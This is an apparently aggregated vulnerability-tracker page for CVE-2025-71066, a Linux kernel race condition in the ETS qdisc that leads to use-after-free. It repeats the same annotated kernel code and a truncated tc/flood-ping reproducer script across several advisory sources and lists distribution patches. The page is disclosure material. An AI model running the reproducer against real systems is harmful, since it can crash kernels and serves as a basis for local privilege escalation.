CVE-2025-71066

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

7.8 HighFix available

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

The vulnerability is a race condition between ets_qdisc_dequeue and ets_qdisc_change. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Attack profile

How easy it is to exploit

Attack vector: Local
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: High

Exploit likelihood

0.17%Up 0.2 points since Jan 14, 2026

What each source reports

CVE List Score used 7.8

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

[email protected] says:

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Record: CVE-2025-71066
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1: 7.5 HighCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-362
Updated: 2026-11-02

EUVDEUVD-2026-2266 7.8

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

[email protected] says:

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Record: EUVD-2026-2266
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-m4cc-c4jq-h2wr 7.8

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always...

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

[email protected] says:

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Record: GHSA-m4cc-c4jq-h2wr
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness: CWE-362
Updated: 2026-11-02

NVD 7.8

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

[email protected] says:

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Record: CVE-2025-71066
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1: 7.5 HighCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-362
Updated: 2026-11-02

OSVBELL-CVE-2025-71066 7.8

Record: BELL-CVE-2025-71066
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSV 7.8

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

[email protected] says:

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

  // (1) this lock is preventing .change handler (`ets_qdisc_change`)
  //to race with .dequeue handler (`ets_qdisc_dequeue`)
  sch_tree_lock(sch);

  for (i = nbands; i < oldbands; i++) {
          if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                  list_del_init(&q->classes[i].alist);
          qdisc_purge_queue(q->classes[i].qdisc);
  }

  WRITE_ONCE(q->nbands, nbands);
  for (i = nstrict; i < q->nstrict; i++) {
          if (q->classes[i].qdisc->q.qlen) {
	      // (2) the class is added to the q->active
                  list_add_tail(&q->classes[i].alist, &q->active);
                  q->classes[i].deficit = quanta[i];
          }
  }
  WRITE_ONCE(q->nstrict, nstrict);
  memcpy(q->prio2band, priomap, sizeof(priomap));

  for (i = 0; i < q->nbands; i++)
          WRITE_ONCE(q->classes[i].quantum, quanta[i]);

  for (i = oldbands; i < q->nbands; i++) {
          q->classes[i].qdisc = queues[i];
          if (q->classes[i].qdisc != &noop_qdisc)
                  qdisc_hash_add(q->classes[i].qdisc, true);
  }

  // (3) the qdisc is unlocked, now dequeue can be called in parallel
  // to the rest of .change handler
  sch_tree_unlock(sch);

  ets_offload_change(sch);
  for (i = q->nbands; i < oldbands; i++) {
      // (4) we're reducing the refcount for our class's qdisc and
      //  freeing it
          qdisc_put(q->classes[i].qdisc);
      // (5) If we call .dequeue between (4) and (5), we will have
      // a strong UAF and we can control RIP
          q->classes[i].qdisc = NULL;
          WRITE_ONCE(q->classes[i].quantum, 0);
          q->classes[i].deficit = 0;
          gnet_stats_basic_sync_init(&q->classes[i].bstats);
          memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
  }
  return 0;

}

Reproducer Steps (trimmed version of what was sent by [email protected])

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Record: CVE-2025-71066
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

Show 44 moreShow less

OSVDEBIAN-CVE-2025-71066 7.8

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between ets_qdisc_dequeue and ets_qdisc_change. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (ets_qdisc_change) //to race with .dequeue handler (ets_qdisc_dequeue) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by [email protected]) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Record: DEBIAN-CVE-2025-71066
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated: 2026-11-02

OSVRHSA-2026:36956 7.8

Red Hat Security Advisory: kernel security update

Record: RHSA-2026:36956
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVRHSA-2026:36957 7.8

Red Hat Security Advisory: kernel security update

Record: RHSA-2026:36957
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVRHSA-2026:39082 7.8

Red Hat Security Advisory: kernel-rt security update

Record: RHSA-2026:39082
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVRHSA-2026:39083 7.8

Red Hat Security Advisory: kernel security update

Record: RHSA-2026:39083
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVRLSA-2026:36956 7.8

Important: kernel security update

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (CVE-2025-71066)
kernel: sctp: revalidate list cursor after sctp_sendmsg_to_asoc() in SCTP_SENDALL (CVE-2026-46227)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected GFN (CVE-2026-46113)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role (CVE-2026-53359)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record: RLSA-2026:36956
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVRLSA-2026:36957 7.8

Important: kernel security update

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (CVE-2025-71066)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected GFN (CVE-2026-46113)
kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role (CVE-2026-53359)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record: RLSA-2026:36957
CVSS 3.1: 7.8 HighCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated: 2026-11-02

OSVROOT-OS-DEBIAN-11-CVE-2025-71066 6.2

CVE-2025-71066 in linux - Patched by Root

Root has patched CVE-2025-71066 in the linux package for Root:Debian:11. Multiple fixed versions available.

Record: ROOT-OS-DEBIAN-11-CVE-2025-71066
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H
Updated: 2026-11-02

OSVROOT-OS-DEBIAN-12-CVE-2025-71066 6.2

CVE-2025-71066 in linux - Patched by Root

Root has patched CVE-2025-71066 in the linux package for Root:Debian:12. Multiple fixed versions available.

Record: ROOT-OS-DEBIAN-12-CVE-2025-71066
CVSS 3.1: 6.2 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H
Updated: 2026-11-02

